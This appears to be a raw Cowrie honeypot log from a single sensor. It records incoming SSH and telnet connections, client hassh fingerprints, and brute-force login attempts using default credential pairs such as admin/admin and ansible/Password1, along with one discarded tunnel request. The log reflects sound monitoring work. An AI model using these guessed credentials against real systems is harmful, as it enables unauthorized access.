{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:05.022523Z","src_ip":"45.43.86.48","session":"b3fd6dea736f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.050535678863525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:05.070170Z","src_ip":"139.162.207.207","session":"aed7ee0197a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"pass","message":"login attempt [test1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:05.459937Z","src_ip":"45.43.86.48","session":"b3fd6dea736f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"738854ec6f44","protocol":"telnet","message":"New connection: 209.126.87.217:54462 (159.203.135.109:23) [session: 738854ec6f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:05.966460Z"}
{"eventid":"cowrie.session.closed","duration":35.85291385650635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:06.199941Z","src_ip":"139.162.207.207","session":"ab1cf0d36de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec842180be09","protocol":"telnet","message":"New connection: 139.162.207.207:42014 (10.17.0.5:23) [session: ec842180be09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:06.253599Z"}
{"eventid":"cowrie.session.closed","duration":32.33502459526062,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:06.461977Z","src_ip":"209.126.87.217","session":"dce09fb7bfb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:06.546982Z","src_ip":"45.43.86.48","session":"b3fd6dea736f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06575298309326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:07.866354Z","src_ip":"139.162.207.207","session":"a3d5dc24ba4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f05fabb110e3","protocol":"telnet","message":"New connection: 139.162.207.207:42018 (10.17.0.5:23) [session: f05fabb110e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:08.074528Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e14a4e37647","protocol":"telnet","message":"New connection: 139.162.207.207:42016 (10.17.0.5:23) [session: 2e14a4e37647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:08.337581Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36780,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f38ba81612","protocol":"ssh","message":"New connection: 159.203.92.129:36780 (159.203.135.109:22) [session: 81f38ba81612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:09.176038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:09.181444Z","src_ip":"159.203.92.129","session":"81f38ba81612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:09.197489Z","src_ip":"159.203.92.129","session":"81f38ba81612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Password1","message":"login attempt [ansible/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:09.221135Z","src_ip":"159.203.92.129","session":"81f38ba81612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42472,"dst_ip":"159.203.135.109","dst_port":23,"session":"09cd8a1ac92e","protocol":"telnet","message":"New connection: 209.126.87.217:42472 (159.203.135.109:23) [session: 09cd8a1ac92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:09.817991Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:10.228796Z","src_ip":"159.203.92.129","session":"81f38ba81612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.985053300857544,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:11.148849Z","src_ip":"185.26.126.47","session":"45c4ea139c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":59190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2cfdf9a48b1","protocol":"telnet","message":"New connection: 170.82.106.219:59190 (10.17.0.5:23) [session: d2cfdf9a48b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:14.675665Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40a38ae8466","protocol":"telnet","message":"New connection: 185.26.126.47:36450 (159.203.135.109:23) [session: c40a38ae8466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:14.947922Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56e85377be0","protocol":"telnet","message":"New connection: 139.162.207.207:44964 (10.17.0.5:23) [session: e56e85377be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:16.592907Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"48202a0c79f7","protocol":"telnet","message":"New connection: 209.126.87.217:42552 (159.203.135.109:23) [session: 48202a0c79f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:18.333666Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5fbe9c00945","protocol":"telnet","message":"New connection: 209.126.87.217:42568 (159.203.135.109:23) [session: a5fbe9c00945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:18.498338Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42580,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eb51f844e7c","protocol":"telnet","message":"New connection: 209.126.87.217:42580 (159.203.135.109:23) [session: 3eb51f844e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:19.110988Z"}
{"eventid":"cowrie.session.closed","duration":37.9096736907959,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:19.971147Z","src_ip":"139.162.207.207","session":"d60de1bc7e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79741716384888,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:20.406820Z","src_ip":"209.126.87.217","session":"a97f0040bd7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45710,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2955a2c1e92","protocol":"telnet","message":"New connection: 209.126.87.217:45710 (159.203.135.109:23) [session: e2955a2c1e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:20.437428Z"}
{"eventid":"cowrie.session.closed","duration":38.31326246261597,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:20.500949Z","src_ip":"139.162.207.207","session":"971239bd62b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.380576372146606,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:21.880116Z","src_ip":"209.126.87.217","session":"1ff937acdb55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41786456108093,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:24.030540Z","src_ip":"139.162.207.207","session":"5163acc5db14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":36668,"dst_ip":"159.203.135.109","dst_port":22,"session":"5327ac6ab15c","protocol":"ssh","message":"New connection: 171.244.141.86:36668 (159.203.135.109:22) [session: 5327ac6ab15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:24.636505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:24.641641Z","src_ip":"171.244.141.86","session":"5327ac6ab15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:24.890280Z","src_ip":"171.244.141.86","session":"5327ac6ab15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.20762634277344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.030360Z","src_ip":"209.126.87.217","session":"ee9e8e5fe933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2deb57f614ca","protocol":"ssh","message":"New connection: 87.251.64.176:47830 (10.17.0.5:22) [session: 2deb57f614ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.272962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.278049Z","src_ip":"87.251.64.176","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.375140Z","src_ip":"87.251.64.176","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.665371Z","src_ip":"87.251.64.176","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.765286Z","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.863415Z","src_ip":"87.251.64.176","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2025","message":"login attempt [ubuntu/Pass@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.921111Z","src_ip":"171.244.141.86","session":"5327ac6ab15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:25.964972Z","src_ip":"87.251.64.176","session":"2deb57f614ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45716,"dst_ip":"159.203.135.109","dst_port":23,"session":"15551e098f7b","protocol":"telnet","message":"New connection: 209.126.87.217:45716 (159.203.135.109:23) [session: 15551e098f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:26.237743Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45730,"dst_ip":"159.203.135.109","dst_port":23,"session":"25dfa1ac32e0","protocol":"telnet","message":"New connection: 209.126.87.217:45730 (159.203.135.109:23) [session: 25dfa1ac32e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:26.314810Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45732,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1068e81de5","protocol":"telnet","message":"New connection: 209.126.87.217:45732 (159.203.135.109:23) [session: 5e1068e81de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:26.744270Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:27.169919Z","src_ip":"171.244.141.86","session":"5327ac6ab15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45734,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7068975813","protocol":"telnet","message":"New connection: 209.126.87.217:45734 (159.203.135.109:23) [session: 3f7068975813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:27.478459Z"}
{"eventid":"cowrie.session.closed","duration":32.17566514015198,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:27.567263Z","src_ip":"209.126.87.217","session":"abbd72652710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36665630340576,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:28.531001Z","src_ip":"139.162.207.207","session":"6204dcd72c03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14415955543518,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:28.647594Z","src_ip":"209.126.87.217","session":"b1f58d472f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.167.158.163","src_port":23593,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7f0387c852","protocol":"telnet","message":"New connection: 122.167.158.163:23593 (10.17.0.5:23) [session: 8c7f0387c852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:28.679919Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45750,"dst_ip":"159.203.135.109","dst_port":23,"session":"163bd4155ee9","protocol":"telnet","message":"New connection: 209.126.87.217:45750 (159.203.135.109:23) [session: 163bd4155ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:29.632675Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50966,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9a6350d3cff","protocol":"telnet","message":"New connection: 209.126.87.217:50966 (159.203.135.109:23) [session: b9a6350d3cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:29.841640Z"}
{"eventid":"cowrie.session.closed","duration":33.885268449783325,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:30.648238Z","src_ip":"209.126.87.217","session":"a8c57e793859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":54680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2929ed8883d","protocol":"telnet","message":"New connection: 160.119.76.63:54680 (159.203.135.109:23) [session: f2929ed8883d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:31.816274Z"}
{"eventid":"cowrie.session.closed","duration":0.11902451515197754,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:31.935176Z","src_ip":"160.119.76.63","session":"f2929ed8883d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50968,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b6541fee200","protocol":"telnet","message":"New connection: 209.126.87.217:50968 (159.203.135.109:23) [session: 2b6541fee200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:32.226007Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50974,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5ed8e6ada5","protocol":"telnet","message":"New connection: 209.126.87.217:50974 (159.203.135.109:23) [session: fb5ed8e6ada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:34.675587Z"}
{"eventid":"cowrie.session.closed","duration":32.38047456741333,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:34.819663Z","src_ip":"209.126.87.217","session":"31fa98bcedb8","protocol":"telnet"}
